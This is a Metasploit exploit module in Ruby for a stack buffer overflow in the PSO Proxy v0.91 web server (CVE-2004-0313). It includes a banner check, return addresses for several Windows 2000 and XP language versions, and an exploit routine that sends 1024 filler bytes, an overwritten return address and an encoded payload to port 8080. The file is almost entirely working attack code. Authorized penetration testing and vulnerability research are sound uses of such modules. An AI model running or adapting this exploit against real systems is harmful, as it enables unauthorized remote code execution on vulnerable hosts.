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##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'PSO Proxy v0.91 Stack Overflow',
'Description' => %q{
This module exploits a buffer overflow in the PSO Proxy v0.91 web server.
If a client sends an excessively long string the stack is overwritten.
},
'Author' => 'Patrick Webster <patrick@aushack.com>',
'License' => MSF_LICENSE,
'Version' => '$Revision
,
'References' =>
[
[ 'CVE', '2004-0313' ],
[ 'OSVDB', '4028' ],
[ 'URL', 'http://www.milw0rm.com/exploits/156' ],
[ 'BID', '9706' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 370,
'BadChars' => "\x00\x0a\x0d\x20",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
# Patrick - Tested OK 2007/09/06 against w2ksp0, w2ksp4, xpsp0,xpsp2 en.
[ 'Windows 2000 Pro SP0-4 English', { 'Ret' => 0x75023112 } ], # call ecx ws2help.dll
[ 'Windows 2000 Pro SP0-4 French', { 'Ret' => 0x74fa3112 } ], # call ecx ws2help.dll
[ 'Windows 2000 Pro SP0-4 Italian', { 'Ret' => 0x74fd3112 } ], # call ecx ws2help.dll
[ 'Windows XP Pro SP0/1 English', { 'Ret' => 0x71aa396d } ], # call ecx ws2help.dll
[ 'Windows XP Pro SP2 English', { 'Ret' => 0x71aa3de3 } ], # call ecx ws2help.dll
],
'Privileged' => false,
'DisclosureDate' => 'Feb 20 2004',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8080),
], self.class)
end
def autofilter
false
end
def check
connect
sock.put("GET / HTTP/1.0\r\n\r\n")
banner = sock.get(-1,3)
if (banner =~ /PSO Proxy 0\.9/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connect
exploit = rand_text_alphanumeric(1024, payload_badchars)
exploit += [target['Ret']].pack('V') + payload.encoded
sock.put(exploit + "\r\n\r\n")
disconnect
handler
end
end
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